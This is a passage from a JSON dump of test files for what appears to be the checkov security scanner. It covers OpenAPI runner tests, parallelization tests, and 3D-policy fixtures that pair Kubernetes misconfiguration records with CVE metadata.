    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n- test: []\ncomponents:\n  securitySchemes:\n  - test:\n      type: http\n      scheme: basic\n"
  },
  {
    "path": "tests/openapi/runner/test_runner.py",
    "content": "import os\nimport unittest\nimport json\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.output.sarif import Sarif\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.openapi.checks.registry import openapi_registry\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_runner(self) -> None:\n        current_dir = os.path.dirname(__file__)\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        checks = [\"CKV_OPENAPI_1\", \"CKV_OPENAPI_4\", \"CKV_OPENAPI_3\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['openapi'], checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 12)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 6)\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_honors_enforcement_rules(self) -> None:\n        current_dir = os.path.dirname(__file__)\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        filter = RunnerFilter(framework=['openapi'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.OPENAPI: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_registry_has_type(self):\n        self.assertEqual(openapi_registry.report_type, CheckType.OPENAPI)\n\n    def test_runner_all_checks(self) -> None:\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['openapi'])\n        )\n\n    def test_pre_validate_non_openapi_file(self) -> None:\n        runner = Runner()\n        file_content = \"\"\"\n                    '---\n            :audit_id: 2018-04-23T224508479Z\n            :status_id: 2018-04-23T224508479Z\n            :environment: ss-uw1-stg\n            :ref: 1.0.0-86-d9c550ede2e6b64ce3b758769e755c2a6584478c\n            :repo: email_classifier\n            :creator: deploybot\n            :task: deployment\n            :status: :pending\n            :description: \\'\\'\n            '\n        \"\"\"\n        result = runner.pre_validate_file(file_content)\n        self.assertFalse(result)\n\n    def test_pre_validate_openapi_yaml_file(self) -> None:\n        runner = Runner()\n        file_content = \"\"\"\n            'openapi: 3.0.0\n                info:\n                  title: test\n                  version: 1.0.0\n                security:\n                - test: []\n                components:\n                  securitySchemes:\n                  - test:\n                      type: http\n                      scheme: basic\n                '\n        \"\"\"\n        result = runner.pre_validate_file(file_content)\n        self.assertTrue(result)\n\n    def test_pre_validate_openapi_json_file(self) -> None:\n        runner = Runner()\n        file_content = json.dumps(\n            {\n                \"openapi\": \"3.0.0\",\n                \"info\": {\n                    \"title\": \"test\",\n                    \"version\": \"1.0.0\"\n                },\n                \"components\": {\n                    \"securitySchemes\": {\n                        \"encryptedScheme\": {\n                            \"type\": \"oauth2\"\n                        }\n                    }\n                },\n                \"paths\": {\n                    \"/\": {\n                        \"get\": {\n                            \"security\": [\n                                {\n                                    \"encryptedScheme\": [\n                                        \"write\",\n                                        \"read\"\n                                    ]\n                                }\n                            ]\n                        }\n                    }\n                }\n            }\n        )\n        result = runner.pre_validate_file(file_content)\n        self.assertTrue(result)\n\n    def test_runner_results_consistency(self) -> None:\n        current_dir = os.path.dirname(__file__)\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        results_file_path = os.path.join(current_dir, \"resources/runner_results/results.sarif\")\n        runner = Runner()\n        checks = [\"CKV_OPENAPI_1\", \"CKV_OPENAPI_4\", \"CKV_OPENAPI_3\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['openapi'], checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 12)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 6)\n        self.assertEqual(report.skipped_checks, [])\n\n        with open(results_file_path) as f:\n            expected_report_dict = json.loads(f.read())\n\n        json_sarif_report = Sarif(reports=[report], tool=\"test\").json\n        self.assertEqual(len(json_sarif_report[\"runs\"][0][\"results\"]), len(expected_report_dict[\"runs\"][0][\"results\"]))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/parallel/__init__.py",
    "content": ""
  },
  {
    "path": "tests/parallel/test_parallel.py",
    "content": "import os\nimport unittest\nfrom unittest.mock import patch\n\nfrom checkov.common.models.enums import ParallelizationType\nfrom checkov.common.parallelizer.parallel_runner import ParallelRunner\n\nclass TestParallel(unittest.TestCase):\n    # Windows os tests\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_default_for_windows(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Windows'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.THREAD)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'none'})\n    def test_windows_with_override_to_none(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Windows'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.NONE)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'fork'})\n    def test_windows_with_override_to_fork(self) -> None:\n        # fork and spawn is not supporting by Windows\n        with unittest.mock.patch('platform.system', return_value='Windows'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.FORK)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_windows_with_explicitly_to_spawn(self) -> None:\n        # fork and spawn is not supporting by Windows\n        with unittest.mock.patch('platform.system', return_value='Windows'):\n            parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN)\n            self.assertEqual(parallel_runner.type, ParallelizationType.THREAD)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_windows_with_explicitly_to_none(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.NONE)\n            self.assertEqual(parallel_runner.type, ParallelizationType.NONE)\n\n    # macOS os tests\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_mac_default(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.THREAD)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'none'})\n    def test_mac_with_override_to_none(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.NONE)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'fork'})\n    def test_mac_with_override_to_fork(self) -> None:\n        # fork and spawn is not supporting by macOS\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.FORK)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_mac_with_explicitly_to_spawn(self) -> None:\n        # fork and spawn is not supporting by macOS\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN)\n            self.assertEqual(parallel_runner.type, ParallelizationType.THREAD)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_mac_with_explicitly_to_none(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Darwin'):\n            parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.NONE)\n            self.assertEqual(parallel_runner.type, ParallelizationType.NONE)\n\n    # general tests\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_default_linux(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Linux'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.FORK)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0', 'CHECKOV_PARALLELIZATION_TYPE': 'spawn'})\n    def test_linux_override_by_env_param(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Linux'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '0'})\n    def test_linux_override_by_incoming_param(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Linux'):\n            parallel_runner = ParallelRunner(parallelization_type=ParallelizationType.SPAWN)\n            self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '1'})\n    def test_linux_running_by_pycharm(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Linux'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.NONE)\n\n    @patch.dict(os.environ, {'PYCHARM_HOSTED': '1', 'CHECKOV_PARALLELIZATION_TYPE': 'spawn'})\n    def test_linux_running_by_pycharm_override_by_env_param(self) -> None:\n        with unittest.mock.patch('platform.system', return_value='Linux'):\n            parallel_runner = ParallelRunner()\n            self.assertEqual(parallel_runner.type, ParallelizationType.SPAWN)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/policies_3d/__init__.py",
    "content": ""
  },
  {
    "path": "tests/policies_3d/conftest.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nimport pytest\n\nfrom checkov.common.bridgecrew.severities import Severity, Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.policies_3d.record import Policy3dRecord\n\n\n@pytest.fixture()\ndef k8s_record_1() -> Record:\n    return Record(\n        check_name='Check 1 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file1.yaml',\n        file_line_range=[1, 16], resource='Pod.default.testPod1', check_class='', bc_check_id='BC_K8S_1',\n        code_block=[(1, 'apiVersion: v1\\n'), (2, 'kind: Pod\\n'), (3, 'metadata:\\n'),\n                    (4, '  name: 3d-policy-3\\n'), (5, 'spec:\\n'), (6, '  containers:\\n'),\n                    (7, '    - name: demo 1\\n'), (8, '      image: ubuntu:latest\\n'),\n                    (9, '      securityContext:\\n'), (10, '        runAsNonRoot: false\\n'),\n                    (11, '    - name: demo 2\\n'), (12, '      image: ubuntu:latest\\n'),\n                    (13, '      securityContext:\\n'), (14, '        runAsUser: 0\\n'),\n                    (15, '    - name: demo 3\\n'), (16, '      image: ubuntu:latest\\n')],\n        file_abs_path='/root/dir_a/dir_b/file1.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.MEDIUM])\n\n\n@pytest.fixture()\ndef k8s_record_2() -> Record:\n    return Record(\n        check_name='Check 2 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file1.yaml',\n        file_line_range=[1, 16], resource='Pod.default.testPod1', check_class='', bc_check_id='BC_K8S_2',\n        code_block=[(1, 'apiVersion: v1\\n'), (2, 'kind: Pod\\n'), (3, 'metadata:\\n'),\n                    (4, '  name: 3d-policy-3\\n'), (5, 'spec:\\n'), (6, '  containers:\\n'),\n                    (7, '    - name: demo 1\\n'), (8, '      image: ubuntu:latest\\n'),\n                    (9, '      securityContext:\\n'), (10, '        runAsNonRoot: false\\n'),\n                    (11, '    - name: demo 2\\n'), (12, '      image: ubuntu:latest\\n'),\n                    (13, '      securityContext:\\n'), (14, '        runAsUser: 0\\n'),\n                    (15, '    - name: demo 3\\n'), (16, '      image: ubuntu:latest\\n')],\n        file_abs_path='/root/dir_a/dir_b/file1.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.LOW])\n\n\n@pytest.fixture()\ndef k8s_record_3() -> Record:\n    return Record(\n        check_name='Check 3 title', check_result={'result': CheckResult.FAILED}, file_path='/dir_a/dir_b/file2.yaml',\n        file_line_range=[1, 16], resource='Pod.default.testPod2', check_class='', bc_check_id='BC_K8S_3',\n        code_block=[(1, 'apiVersion: v1\\n'), (2, 'kind: Pod\\n'), (3, 'metadata:\\n'),\n                    (4, '  name: 3d-policy-3\\n'), (5, 'spec:\\n'), (6, '  containers:\\n'),\n                    (7, '    - name: demo 1\\n'), (8, '      image: image-with-no-cves\\n'),\n                    (9, '      securityContext:\\n'), (10, '        runAsNonRoot: false\\n'),\n                    (11, '    - name: demo 2\\n'), (12, '      image: ubuntu:latest\\n'),\n                    (13, '      securityContext:\\n'), (14, '        runAsUser: 0\\n'),\n                    (15, '    - name: demo 3\\n'), (16, '      image: ubuntu:latest\\n')],\n        file_abs_path='/root/dir_a/dir_b/file2.yaml', evaluations={}, check_id='', severity=Severities[BcSeverities.HIGH])\n\n\n@pytest.fixture()\ndef k8s_report(k8s_record_1, k8s_record_2, k8s_record_3) -> Report:\n    report = Report(check_type='kubernetes')\n    report.add_record(k8s_record_1)\n    report.add_record(k8s_record_2)\n    report.add_record(k8s_record_3)\n    return report\n\n\n@pytest.fixture()\ndef k8s_report_2(k8s_record_1, k8s_record_3) -> Report:\n    report = Report(check_type='kubernetes')\n    report.add_record(k8s_record_1)\n    report.add_record(k8s_record_3)\n    return report\n\n\n@pytest.fixture()\ndef cve_1() -> dict[str, Any]:\n    return {'cveId': 'CVE-2022-42898', 'status': 'fixed in 1.19.2-2ubuntu0.1', 'severity': 'medium',\n                  'packageName': 'krb5', 'packageVersion': '1.19.2-2', 'dockerImageName': 'ubuntu:latest',\n                  'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-42898',\n                  'cvss': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H',\n                  'description': 'PAC parsing in MIT Kerberos 5 (aka krb5) before 1.19.4 ...',\n                  'riskFactors': ['DoS', 'Has fix', 'Medium severity', 'Recent vulnerability',\n                                  'Remote execution', 'Attack complexity: low', 'Attack vector: network'],\n                  'publishedDate': '2022-12-25T06:15:00Z'}\n\n@pytest.fixture()\ndef cve_2() -> dict[str, Any]:\n    return {'cveId': 'CVE-2022-3821', 'status': 'needed', 'severity': 'medium',\n              'packageName': 'systemd', 'packageVersion': '249.11-0ubuntu3.6', 'dockerImageName': 'ubuntu:latest',\n              'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-3821',\n              'cvss': 5.5, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H',\n              'description': 'An off-by-one Error issue was discovered in Systemd in ...',\n              'riskFactors': ['DoS', 'Medium severity', 'Recent vulnerability',\n                              'Attack complexity: low'], 'publishedDate': '2022-11-08T22:15:00Z'}\n\n@pytest.fixture()\ndef sca_image_cached_results(cve_1, cve_2) -> list[dict[str, Any]]:\n    return [{'dockerImageName': 'ubuntu:latest', 'dockerFilePath': '/dir_a/dir_b/file1.yaml',\n             'dockerFileContent': 'image: ubuntu:latest', 'type': 'Image',\n             'sourceId': 'owner-name/repo-name', 'branch': 'branch-name', 'sourceType': 'cli',\n             'relatedResourceId': '/root/dir_a/dir_b/file1.yaml:Pod.default.testPod1',\n             'vulnerabilities': [cve_1, cve_2]}]\n\n\n@pytest.fixture()\ndef sca_image_report(sca_image_cached_results) -> Report:\n    report = Report(check_type='sca_image')\n    report.image_cached_results = sca_image_cached_results\n    return report\n\n\n@pytest.fixture()\ndef scan_reports(k8s_report, sca_image_report) -> list[Report]:\n    return [k8s_report, sca_image_report]\n\n@pytest.fixture()\ndef scan_reports_2(k8s_report_2, sca_image_report) -> list[Report]:\n    return [k8s_report_2, sca_image_report]\n\n\n@pytest.fixture()\ndef policy_3d_1() -> dict[str, Any]:\n    return {'id': 'CKV_P3D_1', 'title': '3d policy 1', 'guideline': 'guideline-1', 'severity': 'CRITICAL',\n               'category': 'Policy3D', 'code': '{\"iac\":{\"kubernetes\":[\"BC_K8S_1\"]},\"cve\":{\"risk_factor\":[\"DoS\"]}}'}\n\n@pytest.fixture()\ndef policy_3d_2() -> dict[str, Any]:\n    return {'id': 'CKV_P3D_2', 'title': '3d policy 2', 'guideline': 'guideline-2', 'severity': 'CRITICAL',\n               'category': 'Policy3D',\n               'code': '{\"iac\":{\"kubernetes\":[\"BC_K8S_2\"]},\"cve\":{\"risk_factor\":[\"Recent vulnerability\"]}}'}\n\n@pytest.fixture()\ndef policy_3d_3() -> dict[str, Any]:\n    return {'id': 'CKV_P3D_3', 'title': '3d policy 3', 'guideline': 'guideline-3', 'severity': 'CRITICAL',\n               'category': 'Policy3D',\n               'code': '{\"iac\":{\"kubernetes\":[\"BC_K8S_1\", \"BC_K8S_2\"]},\"cve\":{\"risk_factor\":[\"Recent vulnerability\"]}}'}\n\n@pytest.fixture\ndef raw_3d_policy():\n  return {'id': 'BC_3D_500', 'title': 'title_500', 'guideline': 'guideline_500',\n          'severity': 'CRITICAL', 'pcSeverity': 'CRITICAL', 'category': 'Policy3D',\n          'code': \"\"\"{\n            \"version\": \"v1\",\n            \"definition\": [\n              {\n                \"cves\": {\n                  \"or\": [\n                    {\n                      \"and\": [\n                        {\n                          \"risk_factor\": \"DoS\"\n                        },\n                        {\n                          \"risk_factor\": \"Medium Severity\"\n                        }\n                      ]\n                    }\n                  ]\n                }\n              },\n              {\n                \"iac\": {\n                  \"or\": [\n                    {\n                      \"violation_id\": \"BC_K8S_1\"\n                    },\n                    {\n                      \"violation_id\": \"BC_K8S_23\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\"\"\"\n        }\n\n@pytest.fixture()\ndef policy_3d_record_single_iac_single_cve(k8s_record_1, cve_1) -> Policy3dRecord:\n    record = Policy3dRecord(\n        bc_check_id='BC_P3D_1',\n        check_id='BC_P3D_1',\n        check_name='3d policy 1',\n        check_result={'result': CheckResult.FAILED},\n        code_block=[],\n        evaluations=None,\n        file_path='',\n        file_abs_path='',\n        resource='',\n        check_class='',\n        file_line_range=[-1, -1],\n        iac_records=[k8s_record_1],\n        vulnerabilities=[cve_1],\n        severity=Severities[BcSeverities.LOW],\n        composed_from_iac_records=[],\n        composed_from_secrets_records=[],\n        composed_from_cves=[]\n    )\n    record.set_guideline('https://docs.bridgecrew.io/docs/bc_p3d_1')\n    return record\n\n@pytest.fixture()\ndef policy_3d_record_multi_iac_multi_cve(k8s_record_1, k8s_record_2, k8s_record_3, cve_1, cve_2) -> Policy3dRecord:\n    record = Policy3dRecord(\n        bc_check_id='BC_P3D_1',\n        check_id='BC_P3D_1',\n        check_name='3d policy 1',\n        check_result={'result': CheckResult.FAILED},\n        code_block=[],\n        evaluations=None,\n        file_path='',\n        file_abs_path='',\n        resource='',\n        check_class='',\n        file_line_range=[-1, -1],\n        iac_records=[k8s_record_1, k8s_record_2, k8s_record_3],\n        vulnerabilities=[cve_1, cve_2],\n        severity=Severities[BcSeverities.LOW],\n        composed_from_iac_records=[],\n        composed_from_secrets_records=[],\n        composed_from_cves=[]\n    )\n    record.set_guideline('https://docs.bridgecrew.io/docs/bc_p3d_1')\n    return record"
  },
  {
    "path": "tests/policies_3d/syntax/cves_syntax/test_cves_syntax.py",
    "content": "import pytest\n\nfrom checkov.policies_3d.syntax.cves_syntax import RiskFactorCVEContains\n\n\n@pytest.fixture\ndef cve_report_string_risk_factors():\n    return {\n        'cveId': 'cveId',\n        'status': 'status',\n        'severity': 'severity',\n        'packageName': 'packageName',\n        'packageVersion': 'packageVersion',\n        'link': 'link',\n        'publishedDate': 'publishedDate',\n        'cvss': 'cvss',\n        'vector': 'vector',\n        'description': 'description',\n        'riskFactors': 'DoS'\n    }\n\n@pytest.fixture\ndef cve_report_list_risk_factors():\n    return {\n        'cveId': 'cveId',\n        'status': 'status',\n        'severity': 'severity',\n        'packageName': 'packageName',\n        'packageVersion': 'packageVersion',\n        'link': 'link',\n        'publishedDate': 'publishedDate',\n        'cvss': 'cvss',\n        'vector': 'vector',\n        'description': 'description',\n        'riskFactors': ['DoS', 'RCE']\n    }\n\n@pytest.fixture\ndef cve_report_list_prefix_risk_factors():\n    return {\n        'cveId': 'cveId',\n        'status': 'status',\n        'severity': 'severity',\n        'packageName': 'packageName',\n        'packageVersion': 'packageVersion',\n        'link': 'link',\n        'publishedDate': 'publishedDate',\n        'cvss': 'cvss',\n        'vector': 'vector',\n        'description': 'description',\n        'riskFactors': ['DoS - High', 'RCE']\n    }\n\n\ndef test_risk_factor_cve_contains_normalizes_risk_factors(cve_report_string_risk_factors):\n    # Arrange\n    risk_factors = ['dos']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors)\n\n    # Assert\n    assert predicate.risk_factors == ['dos']\n    assert predicate.cve_report['riskFactors'] == ['dos']\n\n\ndef test_risk_factor_cve_contains_true(cve_report_string_risk_factors):\n    # Arrange\n    risk_factors = ['dos']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors)\n\n    # Act\n    predicate()\n\n    # Assert\n    assert predicate.is_true\n\ndef test_risk_factor_cve_contains_false(cve_report_string_risk_factors):\n    # Arrange\n    risk_factors = ['not a risk factor']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_string_risk_factors)\n\n    # Act\n    predicate()\n\n    # Arrange\n    assert not predicate.is_true\n\ndef test_risk_factor_cve_contains_true_2(cve_report_list_risk_factors):\n    # Arrange\n    risk_factors = ['dos']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors)\n\n    # Act\n    predicate()\n\n    # Assert\n    assert predicate.is_true\n\ndef test_risk_factor_cve_contains_true_3(cve_report_list_prefix_risk_factors):\n    # Arrange\n    risk_factors = ['dos']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_list_prefix_risk_factors)\n\n    # Act\n    predicate()\n\n    # Assert\n    assert predicate.is_true\n\n\ndef test_risk_factor_cve_contains_false_2(cve_report_list_risk_factors):\n    # Arrange\n    risk_factors = ['not a risk factor']\n    predicate = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors)\n\n    # Act\n    predicate()\n\n    # Arrange\n    assert not predicate.is_true\n\n\ndef test_risk_factor_cve_contains_true_equality(cve_report_list_risk_factors):\n    # Arrange\n    risk_factors = ['Dos']\n    p1 = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors)\n    p2 = RiskFactorCVEContains(risk_factors, cve_report_list_risk_factors)\n\n    # Assert\n    assert p1 == p2\n\n\ndef test_risk_factor_cve_contains_false_equality(cve_report_list_risk_factors):\n    # Arrange\n    risk_factors_1 = ['Dos']\n    risk_factors_2 = ['RCE']\n    p1 = RiskFactorCVEContains(risk_factors_1, cve_report_list_risk_factors)\n    p2 = RiskFactorCVEContains(risk_factors_2, cve_report_list_risk_factors)\n\n    # Assert\n    assert p1 != p2\n"
  },
  {
    "path": "tests/policies_3d/syntax/iac_syntax/test_iac_syntax.py",
    "content": "import pytest\n\nfrom checkov.common.output.record import Record\nfrom checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals\n\n\n@pytest.fixture\ndef record() -> Record:\n    _check_id = 'CHECK_ID'\n    return Record(\n        bc_check_id=_check_id,\n        check_id=_check_id,\n        check_name='mock',\n        check_result={'result': 'failed'},\n        code_block=[],\n        file_path='',\n        file_line_range=[],\n        resource='',\n        check_class='',\n        file_abs_path='',\n        evaluations={}\n    )\n\ndef test_violation_id_equals_predicate_true(record: Record):\n    # Arrange\n    check_id = 'CHECK_ID'\n    predicate = ViolationIdEquals(record, check_id)\n\n    # Act\n    predicate()\n\n    # Assert\n    assert predicate.is_true\n\n\ndef test_violation_id_equals_predicate_false(record: Record):\n    # Arrange\n    check_id = 'NOT_A_CHECK_ID'\n    predicate = ViolationIdEquals(record, check_id)\n\n    # Act\n    predicate()\n\n    # Assert\n    assert not predicate.is_true\n\n\ndef test_violation_id_equals_predicate_false_equality(record: Record):\n    # Arrange\n    check_id_1 = 'CHECK_ID_1'\n    check_id_2 = 'CHECK_ID_2'\n    p1 = ViolationIdEquals(record, check_id_1)\n    p2 = ViolationIdEquals(record, check_id_2)\n\n    # Assert\n    assert p1 != p2\n\ndef test_violation_id_equals_predicate_true_equality(record: Record):\n    # Arrange\n    check_id = 'CHECK_ID'\n    p1 = ViolationIdEquals(record, check_id)\n    p2 = ViolationIdEquals(record, check_id)\n\n    # Assert\n    assert p1 == p2\n\n"
  },
  {
    "path": "tests/policies_3d/syntax/test_predicament.py",
    "content": "from checkov.common.output.record import Record\nfrom checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals\nimport pytest\n\nfrom checkov.policies_3d.syntax.syntax import Predicament\n\n\n@pytest.fixture\ndef record_1() -> Record:\n    _check_id = 'CHECK_ID_1'\n    return Record(\n        bc_check_id=_check_id,\n        check_id=_check_id,\n        check_name='mock',\n        check_result={'result': 'failed'},\n        code_block=[],\n        file_path='',\n        file_line_range=[],\n        resource='',\n        check_class='',\n        file_abs_path='',\n        evaluations={}\n    )\n\n@pytest.fixture\ndef record_2() -> Record:\n    _check_id = 'CHECK_ID_2'\n    return Record(\n        bc_check_id=_check_id,\n        check_id=_check_id,\n        check_name='mock',\n        check_result={'result': 'failed'},\n        code_block=[],\n        file_path='',\n        file_line_range=[],\n        resource='',\n        check_class='',\n        file_abs_path='',\n        evaluations={}\n    )\n\ndef test_get_all_children_predicates(record_1):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'CHECK_ID')\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1]\n    )\n\n    # Act\n    predicates = predicament.get_all_children_predicates()\n\n    # Assert\n    assert predicates == {p1}\n\n\ndef test_get_all_children_predicates_with_nested_predicaments(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'CHECK_ID_2')\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1, p2]\n    )\n\n    # Act\n    predicates = predicament.get_all_children_predicates()\n\n    # Assert\n    assert predicates == {p1, p2}\n\n\ndef test_and_predicament_true(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'CHECK_ID_2')\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1, p2]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert res\n    assert all(predicate.is_true for predicate in predicament.predicates)\n\ndef test_and_predicament_false(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'CHECK_ID_2')\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1, p2]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert not res\n    assert not predicament.predicates[0].is_true\n    assert predicament.predicates[1].is_true\n\ndef test_or_predicament_true(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'CHECK_ID_2')\n    predicament = Predicament(\n        logical_op='or',\n        predicates=[p1, p2]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert res\n    assert not predicament.predicates[0].is_true\n    assert predicament.predicates[1].is_true\n\ndef test_or_predicament_false(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'NOT_CHECK_ID_2')\n    predicament = Predicament(\n        logical_op='or',\n        predicates=[p1, p2]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert not res\n    assert not predicament.predicates[0].is_true\n    assert not predicament.predicates[1].is_true\n\ndef test_and_predicament_nested_or_predicament_true(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'NOT_CHECK_ID_2')\n    sub_predicament = Predicament(\n        logical_op='or',\n        predicates=[p1, p2]\n    )\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1],\n        predicaments=[sub_predicament]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert res\n    assert predicament.predicates[0].is_true\n    assert predicament.predicaments[0].predicates[0].is_true\n    assert not predicament.predicaments[0].predicates[1].is_true\n\n\ndef test_and_predicament_nested_or_predicament_false(record_1, record_2):\n    # Arrange\n    p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1')\n    p2 = ViolationIdEquals(record_2, 'CHECK_ID_2')\n    sub_predicament = Predicament(\n        logical_op='or',\n        predicates=[p1, p2]\n    )\n    predicament = Predicament(\n        logical_op='and',\n        predicates=[p1],\n        predicaments=[sub_predicament]\n    )\n\n    # Act\n    res = predicament()\n\n    # Assert\n    assert not res\n    assert not predicament.predicates[0].is_true\n    assert not predicament.predicaments[0].predicates[0].is_true\n    assert predicament.predicaments[0].predicates[1].is_true"
  },
  {
    "path": "tests/policies_3d/test_output.py",
